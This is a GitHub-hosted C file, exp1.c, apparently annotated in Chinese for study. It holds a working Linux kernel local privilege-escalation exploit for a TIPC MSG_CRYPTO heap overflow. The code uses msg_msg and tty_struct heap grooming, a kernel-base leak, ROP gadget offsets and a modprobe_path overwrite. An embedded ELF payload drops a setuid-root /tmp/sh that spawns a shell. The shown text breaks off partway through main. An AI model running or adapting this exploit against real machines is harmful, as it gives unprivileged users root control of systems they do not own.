-
Notifications
You must be signed in to change notification settings - Fork 93
/
exp1.c
916 lines (800 loc) · 37.2 KB
/
exp1.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
// https://haxx.in/files/blasty-vs-tipc.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
#include <stdarg.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <time.h>
#include <unistd.h>
#include <linux/netlink.h>
#define PTM_UNIX98_OPS 0x127e2e0 // \__ no exported syms, look for xref to str ffffffff8227e2e0 r ptm_unix98_ops
#define PTS_UNIX98_OPS 0x127e1c0 // / `Couldn't allocate Unix98 ptm driver` ffffffff8227e1c0 r pty_unix98_ops
#define MODPROBE_PATH 0x164eaa0 // has symbol ffffffff81092730 T __request_module 0xffffffff8264eaa0 <modprobe_path>: "/sbin/modprobe"
#define BRIDGING_GADGET 0x702b00 // ffffffff81702b00 T regcache_mark_dirty
#define POP_RDI_RET 0x13e8 // 0xffffffff810013e8: pop rdi; ret;
#define GADGET_WRITE32 0xef6f5 // 31 c0 48 89 32 c3 // 0xffffffff810ef6f5
#define GADGET_RET 0xef6f8 // c3 // 0xffffffff810ef6f8
#define PUSH_RBP_POP_RSP 0x406a6 // 0xffffffff810406a6: push rbp; or byte ptr [rbp + 0x41], bl; pop rsp; ret;
#define ADD_RSP_0x48 0x7adf1 // 0xffffffff8107adf1: add rsp, 0x48; ret;
char *bind_ip = "192.168.21.0"; // should change according to your ip
// good numbers
#define KEY_SIZE 956 // 0x3bc
#define MSG_COUNT 2048
#define BODY_SIZE 976 // 0x3d0
#define SMASH_SIZE 32
#define TRIES_MAX 8
#define NEXT_OFFSET 0x8000
// some constants
#define NODE_ID 0x11223344
#define MTYPE 0xAB /* Ac1db34v3rz */
#define SPRAY_TTY_CNT 0x40
#define TTY_MAGIC 0x5401
#define TIPC_UDP_PORT 6118
#define MSG_COPY 040000
// TIPC crap
#define TIPC_VERSION 2
// user messages
#define LINK_PROTOCOL 7
#define LINK_CONFIG 13
// message types
#define STATE_MSG 0
#define RESET_MSG 1
#define ACTIVATE_MSG 2
#define MSG_CRYPTO 14
// media types
#define MEDIA_TYPE_UDP 3
// w0
#define hdr_msg_size(v) ((v) & 0x1ffff)
#define hdr_size(v) ((v & 0xf) << 21)
#define hdr_user(v) ((v & 0xf) << 25)
#define hdr_nonseq(v) ((v & 1) << 20)
#define hdr_version(v) ((v & 7) << 29)
// w1
#define hdr_msg_type(v) ((v & 7) << 29)
// w2
#define hdr_link_level_seq(v) (v & 0xffff)
// w4
#define hdr_next_send_pkt(v) (v & 0xffff)
// w5
#define hdr_media_id(v) (v & 0xff)
#define hdr_session_number(v) ((v & 0xffff) << 16)
// prototypes
struct message_t {
long type;
uint8_t body[BODY_SIZE];
};
// globals
int g_sockfd = 0;
struct sockaddr_in g_sockaddr;
// utility
#define info(fmt, args...) report('$', false, fmt, ## args)
#define infov(fmt, args...) report('~', false, fmt, ## args)
#define maybe(fmt, args...) report('?', false, fmt, ## args)
#define fatal(fmt, args...) report('!', true, fmt, ## args)
#define info_value64(name, value) infov("%-24s: %016lx", name, value)
void report(char indicator, bool error, const char *fmt, ...) {
FILE *stream = (error) ? stderr : stdout;
va_list a;
va_start(a, fmt); // VA_LIST 是在C语言中解决变参问题的一组宏,变参问题是指参数的个数不定,可以是传入一个参数也可以是多个 https://www.cnblogs.com/qiwu1314/p/9844039.html
fprintf(stream, "[%c] %s", indicator, (error) ? "ERROR: " : "");
vfprintf(stream, fmt, a);
fprintf(stream, "\n");
va_end(a);
if (error) {
exit(-1); // all errors are fatal
}
}
static inline void write64(uint8_t *p, uint64_t v) {
*(uint64_t*)(p) = v;
}
static inline uint64_t read64(uint8_t *p) {
return *(uint64_t*)(p);
}
#define be32 htonl
// netlink_send() —— 通过 netlink 来发送tipc包, 请求或配置tipc
int netlink_send(
uint16_t type, uint16_t flags, uint32_t seq,
uint8_t* pkt, size_t pkt_len,
uint8_t **reply_buf, size_t *reply_sz
) {
int sock_fd;
struct sockaddr_nl sa;
memset(&sa, 0, sizeof(struct sockaddr_nl));
sa.nl_family = AF_NETLINK;
size_t pkt_full_len = sizeof(struct nlmsghdr) + pkt_len; // 设置 *pkt_full -> (nlmsghdr头 + pkt 数据包), 然后调用 sendto 发送
uint8_t *pkt_full = malloc(pkt_full_len);
memset(pkt_full, 0, pkt_full_len);
memcpy(pkt_full + sizeof(struct nlmsghdr), pkt, pkt_len);
struct nlmsghdr *netlink_hdr = (struct nlmsghdr*)(pkt_full);
netlink_hdr->nlmsg_len = pkt_full_len;
netlink_hdr->nlmsg_type = type;
netlink_hdr->nlmsg_flags = flags;
netlink_hdr->nlmsg_seq = seq;
netlink_hdr->nlmsg_pid = getpid();
if ((sock_fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_GENERIC)) < 0) {
perror("socket");
return -1;
}
if (bind(sock_fd, (struct sockaddr*)&sa, sizeof(sa)) < 0) {
perror("bind");
return -1;
}
ssize_t r = sendto(
sock_fd, pkt_full, pkt_full_len, 0,
(struct sockaddr*)&sa, sizeof(struct sockaddr_nl)
);
if (r < 0) {
perror("sendto");
return -1;
}
free(pkt_full);
if (reply_buf != NULL) { // 设置 user_msghdr 结构, 并调用 recvmsg() 接收数据, 然后将数据部分存入 *reply_buf 指向的堆块, 返回
struct msghdr m;
memset(&m, 0, sizeof(struct msghdr));
m.msg_iovlen = 1;
m.msg_iov = malloc(sizeof(struct iovec));
m.msg_iov->iov_base = malloc(0x1000);
m.msg_iov->iov_len = 0x1000;
size_t nread;
if ((nread = recvmsg(sock_fd, &m, 0)) < 0)
goto error;
if (m.msg_iovlen != 1)
goto error;
*reply_sz = nread;
*reply_buf = malloc(*reply_sz);
memcpy(*reply_buf, m.msg_iov->iov_base, *reply_sz); // 将 recvmsg() 接收的数据拷贝到 *reply_buf 指向的堆块
free(m.msg_iov->iov_base);
}
close(sock_fd);
return 0;
error:
close(sock_fd);
return -1;
}
// netlink_enable_tipc_udp() —— 发送tipc请求包和tipc udp使能包
int netlink_enable_tipc_udp(char *str_ip_address) {
uint8_t pkt_ctrl[]={
0x03, 0x01, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00,
0x10, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x02, 0x00,
0x54, 0x49, 0x50, 0x43, 0x76, 0x32, 0x00, 0x00
};
uint8_t *nl_reply;
size_t nl_reply_len = 0;
uint32_t ip_addr;
uint32_t seq;
int r;
seq = time(NULL);
ip_addr = inet_addr(str_ip_address);
if (ip_addr == INADDR_NONE)
fatal("invalid ip address given");
r = netlink_send( // (1)通过nelink发送tipc 请求包
NLMSG_MIN_TYPE, (NLM_F_REQUEST | NLM_F_ACK), seq,
pkt_ctrl, sizeof(pkt_ctrl), &nl_reply, &nl_reply_len
);
if(r < 0)
fatal("failed to send netlink control message.");
if (nl_reply_len == 0)
fatal("did not get netlink control message reply.");
if (*(uint32_t*)(nl_reply + 0x10) == 0xfffffffe)
fatal("tipc support not available.");
uint16_t nlmsg_type = 0;
off_t pos = 0x14;
while(pos < nl_reply_len - 4) { // 从接收数据nl_reply中找到 nlmsg_type = *(uint16_t*)(nl_reply + pos + 4) = *(&nlattr + 4)
struct nlattr *attr = (struct nlattr*)(nl_reply + pos);
if (attr->nla_type == 1) {
nlmsg_type = *(uint16_t*)(nl_reply + pos + 4);
break;
}
pos += attr->nla_len;
if ((attr->nla_len % 4) != 0)
pos += 4 - (attr->nla_len % 4); // 对齐
}
if (nlmsg_type == 0)
fatal("could not find tipc netlink message type.");
uint8_t pkt_tipc_enable_udp[]={
0x03, 0x01, 0x00, 0x00, 0x40, 0x00, 0x01, 0x80,
0x0d, 0x00, 0x01, 0x00, 0x75, 0x64, 0x70, 0x3a,
0x55, 0x44, 0x50, 0x31, 0x00, 0x00, 0x00, 0x00,
0x2c, 0x00, 0x04, 0x80, 0x14, 0x00, 0x01, 0x00,
0x02, 0x00, 0x17, 0xe6, 0x00, 0x00, 0x00, 0x00, // <-- +0x24 = ip
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x14, 0x00, 0x02, 0x00, 0x02, 0x00, 0x17, 0xe6,
0xe4, 0x00, 0x12, 0x67, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
};
*(uint32_t*)(pkt_tipc_enable_udp + 0x24) = ip_addr;
r = netlink_send( // (2)通过nelink发送tipc udp 使能包
nlmsg_type, (NLM_F_REQUEST | NLM_F_ACK), seq,
pkt_tipc_enable_udp, sizeof(pkt_tipc_enable_udp), NULL, NULL
);
if (r < 0)
fatal("failed to send netlink tipc udp enable message.");
// the right way is to read back a netlink reply and check if this worked..
// I chose to go with the scientifically proven method of big chillin'
sleep(2);
return 0;
}
// tipc packet routines gen_tipc_hdr() —— 构造 tipc 消息头 (tipc_msg 结构)
void gen_tipc_hdr(
uint8_t *o,
uint32_t w0, uint32_t w1, uint32_t w2,
uint32_t w3, uint32_t w4, uint32_t w5
) {
uint32_t* o32 = (uint32_t*)o;
o32[0] = be32(w0);
o32[1] = be32(w1);
o32[2] = be32(w2);
o32[3] = be32(w3);
o32[4] = be32(w4);
o32[5] = be32(w5);
}
ssize_t tipc_send(uint8_t *buf, size_t sz) {
return sendto(
g_sockfd, buf, sz, 0, (struct sockaddr*)&g_sockaddr, sizeof(g_sockaddr)
);
}
// tipc_discover() —— 发送 LINK_CONFIG tipc 包, 广告自己
void tipc_discover() {
uint32_t w0, w1, w2, w3, w4, w5;
uint8_t pkt[24]; // tipc 消息头 (tipc_msg 结构, 最大为64字节), 头部占24字节
w0 = 0;
w0 |= hdr_version(TIPC_VERSION);
w0 |= hdr_size(6); // hsz 表示 6 个 4 字节
w0 |= hdr_msg_size(24);
w0 |= hdr_user(LINK_CONFIG); // LINK_CONFIG 包
w0 |= hdr_nonseq(1);
w1 = 0;
w2 = 0;
w3 = NODE_ID;
w4 = 0x1267;
w5 = hdr_media_id(MEDIA_TYPE_UDP);
gen_tipc_hdr(pkt, w0, w1, w2, w3, w4, w5);
tipc_send(pkt, sizeof(pkt));
}
// tipc_link_state_a() —— 发送 RESET_MSG tipc 包, 重置link
void tipc_link_state_a(uint32_t ip) {
uint8_t pkt[56];
uint32_t *body = (uint32_t*)(pkt + 24); // tipc 消息主体位于偏移24处, 消息占 56-24=32 字节
uint32_t w0, w1, w2, w3, w4, w5;
memset(pkt, 0, sizeof(pkt));
w0 = hdr_version(TIPC_VERSION);
w0 |= hdr_size(10); // hsz 表示 10 个 4 字节
w0 |= hdr_user(LINK_PROTOCOL);
w0 |= hdr_msg_size(56);
w1 = hdr_msg_type(RESET_MSG); // RESET_MSG 包
w2 = hdr_link_level_seq(0x8000);
w3 = NODE_ID;
w4 = hdr_next_send_pkt(1);
w5 = hdr_session_number(50388);
gen_tipc_hdr(pkt, w0, w1, w2, w3, w4, w5);
int pos = 0;
body[pos++] = be32(NODE_ID);
body[pos++] = be32(ip);
body[pos++] = 0;
body[pos++] = be32(3500 << 16);
memcpy(body + 4, "UDP1", 4);
tipc_send(pkt, sizeof(pkt));
}
// tipc_link_state_b() —— 发送 STATE_MSG tipc 包, 提出link
void tipc_link_state_b(uint32_t ip) {
uint8_t pkt[44];
uint32_t w0, w1, w2, w3, w4, w5;
uint32_t *body = (uint32_t*)(pkt + 24); // tipc 消息主体位于偏移24处, 消息占 44-24=20 字节
memset(pkt, 0, sizeof(pkt));
w0 = hdr_version(TIPC_VERSION);
w0 |= hdr_size(10); // hsz 表示 10 个 4 字节
w0 |= hdr_user(LINK_PROTOCOL);
w0 |= hdr_msg_size(44);
w1 = hdr_msg_type(STATE_MSG); // STATE_MSG 包
w2 = hdr_link_level_seq(1);
w3 = NODE_ID;
w4 = hdr_next_send_pkt(1);
w5 = hdr_session_number(50388);
gen_tipc_hdr(pkt, w0, w1, w2, w3, w4, w5);
int pos = 0;
body[pos++] = be32(NODE_ID);
body[pos++] = be32(ip);
body[pos++] = 0; // timestamp
body[pos++] = 0; // max pkt/link tolerance
body[pos++] = 0; // bearer instance
tipc_send(pkt, sizeof(pkt));
}
// tipc_link_setup() —— 创建有效的node link: 发送 LINK_CONFIG / LINK_PROTOCOL / LINK_PROTOCOL 包, 来广告自己 / 重置link / 提出link
int tipc_link_setup(char *host) {
if ((g_sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
perror("socket");
return -1;
}
memset((char *) &g_sockaddr, 0, sizeof(g_sockaddr));
g_sockaddr.sin_family = AF_INET;
g_sockaddr.sin_port = htons(TIPC_UDP_PORT);
if (inet_aton(host, &g_sockaddr.sin_addr) == 0) { // 将一个字符串IP地址转换为一个32位的网络序列IP地址
perror("inet_aton");
return -1;
}
tipc_discover(); // (1) 发送 LINK_CONFIG tipc 包, 广告自己
tipc_link_state_a(be32(inet_addr(host))); // (2) 发送 RESET_MSG tipc 包, 重置link // inet_addr() —— 将一个点分十进制的IP转换成一个长整数型数(u_long类型)
tipc_link_state_b(be32(inet_addr(host))); // (3) 发送 STATE_MSG tipc 包, 提出link
return 0;
}
// setup_modprobe_hax() —— 创建 /tmp/benign 错误elf文件, 触发modprobe; 创建 /tmp/hax 提权文件
int setup_modprobe_hax() {
// small ELF file matroshka doll that does;
// fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
// write(fd, elfcode, elfcode_len)
// chmod("/tmp/sh", 04755)
// close(fd);
// exit(0);
//
// the dropped ELF simply does:
// setuid(0);
// setgid(0);
// execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};
FILE *fp;
fp = fopen("/tmp/benign", "wb");
if (fp == NULL) {
perror("fopen");
return -1;
}
if (fwrite("\xff\xff\xff\xff", 4, 1, fp) < 1) {
perror("fwrite");
return -1;
}
fclose(fp);
fp = fopen("/tmp/hax", "wb");
if (fp == NULL) {
perror("fopen");
return -1;
}
if (fwrite(elfcode, sizeof(elfcode), 1, fp) < 1) {
perror("fwrite");
return -1;
}
fclose(fp);
if (chmod("/tmp/benign", 0777) < 0) {
perror("chmod");
return -1;
}
if (chmod("/tmp/hax", 0777) < 0) {
perror("chmod");
return -1;
}
return 0;
}
// tipc_trigger() —— 构造 tipc 消息触发 tipc 漏洞
void tipc_trigger(uint8_t *smashbuf, uint32_t smashlen, int seqno) {
uint8_t pkt[0x1000];
uint32_t w0, w1, w2, w3, w4, w5;
w0 = hdr_version(TIPC_VERSION);
w0 |= hdr_size(6); // hsz 表示 6 个 4 字节
w0 |= hdr_user(MSG_CRYPTO); // MSG_CRYPTO 消息
w0 |= hdr_msg_size(24 + 36 + KEY_SIZE); // tipc包总大小msz: 24 + 36 + 956 = 1016; MSG_CRYPTO消息的实际分配大小: skey_size = msz-hsz = 36 + 956 = 992; (头部36字节+key长度) 所以 KEY_SIZE+SMASH_SIZE = 956 + 32 即可越界
w1 = 0;
w2 = seqno;
w3 = NODE_ID;
w4 = 0;
w5 = 0;
memset(pkt, 0, sizeof(pkt));
gen_tipc_hdr(pkt, w0, w1, w2, w3, w4, w5);
memcpy(pkt+24, "HAXX", 4); // char alg_name[32]
*(uint32_t*)(pkt+24+32) = be32(KEY_SIZE + SMASH_SIZE + smashlen); // keylen_real = 956 + 32 + 0x20 = 988 +0x20 MSG_CRYPTO 消息的实际大小为 (36 + KEY_SIZE + SMASH_SIZE + smashlen) = (36 + 956 + 32 + 0x20) = 1024
memset(pkt+24+36, 'C', KEY_SIZE); // 填充
memset(pkt+24+36+KEY_SIZE, 'D', SMASH_SIZE); // 填充
memcpy(pkt+24+36+KEY_SIZE + SMASH_SIZE, smashbuf, smashlen); // smashbuf —— 伪造 msg_msg 或 tty_struct
tipc_send(pkt, sizeof(pkt));
}
int main() {
uint64_t pty_ops = 0;
uint64_t mybuf = 0;
uint64_t kernel_base = 0;
uint8_t fake_tty[0x20];
uint8_t peekbuf[0x2000];
int peek_cnt = 1;
int seqno=0;
int tty_fds[SPRAY_TTY_CNT];
int queue_id[MSG_COUNT];
int queue_id_final = 0;
struct message_t dummy;
dummy.type = MTYPE;
memset(dummy.body, 0x58, BODY_SIZE);
// 1. 使能 UDP bearer media: 发送tipc请求包和tipc udp使能包
info("enabling tipc udp media");
if (netlink_enable_tipc_udp(bind_ip) < 0)
fatal("failed to enable tipc udp media");
// 2. 创建有效的node link: 发送 LINK_CONFIG / LINK_PROTOCOL / LINK_PROTOCOL 包, 来广告自己 / 重置link / 提出link
info("establish tipc link");
if (tipc_link_setup(bind_ip) < 0)
fatal("failed to establish tipc link");
// 3. 创建 /tmp/benign 错误elf文件, 触发modprobe; 创建 /tmp/hax 提权文件, modprobe_path 将指向 "/tmp/hax"
info("installing helpers");
if (setup_modprobe_hax() < 0)
fatal("failed to setup helpers");
// 4. 堆喷布置2048个 msg_msg 消息, 释放偶数下标的 msg_msg
// 4-1. 创建 msg 消息队列
info("create messages queues");
if ((queue_id_final = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
perror("msgget");
fatal("failed to create message queue");
}
for(int i = 0; i < MSG_COUNT; i++) {
if ((queue_id[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
perror("msgget");
fatal("failed to create message queue %d", i);
}
}
// 4-2. 堆喷 2048 个 msg_msg 消息, 消息长度0x3d0, 使msg_msg消息位于kmalloc-1024, 0x400
info("spray messages");
for(int i = 0; i < MSG_COUNT; i++) {
if (msgsnd(queue_id[i], (void*)&dummy, BODY_SIZE, 0) < 0) {
perror("msgsnd");
fatal("failed to create message in queue %d", i);
}
}
// 4-3. 释放偶数下标的消息, 使漏洞对象占据
info("poking holes");
for(int i = 0; i < MSG_COUNT; i += 2) {
if(msgrcv(queue_id[i], (void*)&dummy, BODY_SIZE, MTYPE, 0) < 0) {
perror("msgrcv");
fatal("failed to peek message in queue %d", i);
}
}
// 5. 触发tipc漏洞,泄露内核基址
// 5-1. 触发 tipc 漏洞, 篡改 msg_msg->m_ts
info("tipc bug trigger");
uint64_t hacked_msg[4]={
0, // m_list.prev
0, // m_list.next
MTYPE, // m_type
0x2000, // m_ts
};
tipc_trigger((uint8_t*)hacked_msg, 0x20, ++seqno);
// 5-2. 喷射 0x40 个 tty_struct 结构,便于越界读泄露
info("spraying tty_struct\n");
for(int i = 0; i < SPRAY_TTY_CNT; i++) {
if ((tty_fds[i] = open("/dev/ptmx", O_RDWR|O_NOCTTY)) < 0)
fatal("failed to spray tty_struct %d/%d", i, MSG_COUNT);
}
// 5-3. msg_msg 越界读泄露 tty_struct->ops
for(int i = MSG_COUNT-1; i > 0; i--, peek_cnt++) {
int r = msgrcv(queue_id[i], (void*)peekbuf, 0x2000, 0, MSG_COPY | IPC_NOWAIT);
if (r < 0 || r == BODY_SIZE) // r == BODY_SIZE 表示 msg_msg->m_ts 没有被成功篡改
continue;
// 5-3-1. 成功篡改 msg_msg->m_ts
info("we corrupted a msg_msg size field! (took %d peeks)\n", peek_cnt);
for(int j = 0; j < r; j += 4) {
if (*(uint32_t*)(peekbuf + j) != TTY_MAGIC)
continue;
// 5-3-2. 成功在 msg_msg 后面布置 tty_struct, 泄露内核地址
info("found tty_struct at offset 0x%x", j);
pty_ops = read64(peekbuf + j + 0x18); // tty_struct->ops
mybuf = read64(peekbuf + j + 0x40) - 0x408; // &tty_struct = tty_struct->ldisc_sem->read_wait->next - 0x38 //!!!! $ p/x &(*(struct tty_struct *)0)->ldisc_sem->read_wait->next 0x38 // 减去0x408就是msg_msg数据基址
info_value64("pty_ops", pty_ops);
info_value64("our buffer", mybuf);
// 5-3-3. 篡改 tty_struct->ops = &tty_struct+0x8000 指向可控的某个&msg_msg, 往后数第32个
memcpy(fake_tty, peekbuf + j, 0x20);
write64(fake_tty + 0x18, mybuf + NEXT_OFFSET);
// 5-3-4. 分2种情况计算内核基址
// did we hit a master of slave ops ptr?
switch(pty_ops & 0xfff) {
case PTM_UNIX98_OPS & 0xfff:
kernel_base = pty_ops - PTM_UNIX98_OPS;
break;
case PTS_UNIX98_OPS & 0xfff:
kernel_base = pty_ops - PTS_UNIX98_OPS;
break;
default:
fatal("this should never happen tbh");
break;
}
info_value64("kernel base", kernel_base);
break;
}
if (pty_ops != 0)
break;
else
info("too bad, tty_struct didnt follow corrupted msg_msg.");
}
if (pty_ops == 0) {
for(int i = 0; i < SPRAY_TTY_CNT; i++)
close(tty_fds[i]);
fatal("infoleak failed. try again?");
}
info_value64("modprobe_path", kernel_base + MODPROBE_PATH);
// 6. 篡改 tty_struct->ops.ioctl 指针, 并篡改 modprobe_path 为 "/tmp/hax"
// 6-1. 伪造 msg_msg, 偏移0x60 (tty_operations->ioctl) 处放置任意写 gadget
dummy.type = MTYPE;
for(int i = 0; i < BODY_SIZE; i+=8)
write64(dummy.body + i, kernel_base + GADGET_RET);
write64(dummy.body + 0x60, kernel_base + GADGET_WRITE32); // GADGET_WRITE32 tty_operations->ioctl 指针位于 &tty_operations+0x60 处
// 6-2. 喷射2048个 msg_msg, 也即伪造的 tty_operations 函数表
info("spray fake pty ops vtable");
for(int i = 0; i < MSG_COUNT; i++)
for(int j = 0; j < 8; j++)
if (msgsnd(queue_id[i], (void*)&dummy, BODY_SIZE, 0) < 0) {
perror("msgsnd");
fatal("failed to create message %d", i);
}
int hacked = 0;
// 6-3. 篡改 tty_struct->ops.ioctl 指针, 并篡改 modprobe_path 为 "/tmp/hax"
dummy.type = MTYPE;
for(int try = 0; try < TRIES_MAX; try++) {
info("attempting to corrupt tty_struct (try %d)", try);
// 6-3-1. create msg_msg
if (msgsnd(queue_id_final, (void*)&dummy, BODY_SIZE, 0) < 0) {
perror("msgsnd");
fatal("failed to create message");
}
// 6-3-2. tty_struct follows msg_msg
if ((tty_fds[0] = open("/dev/ptmx", O_RDWR|O_NOCTTY)) < 0)
fatal("failed to alloc tty_struct");
// 6-3-3. free msg_msg
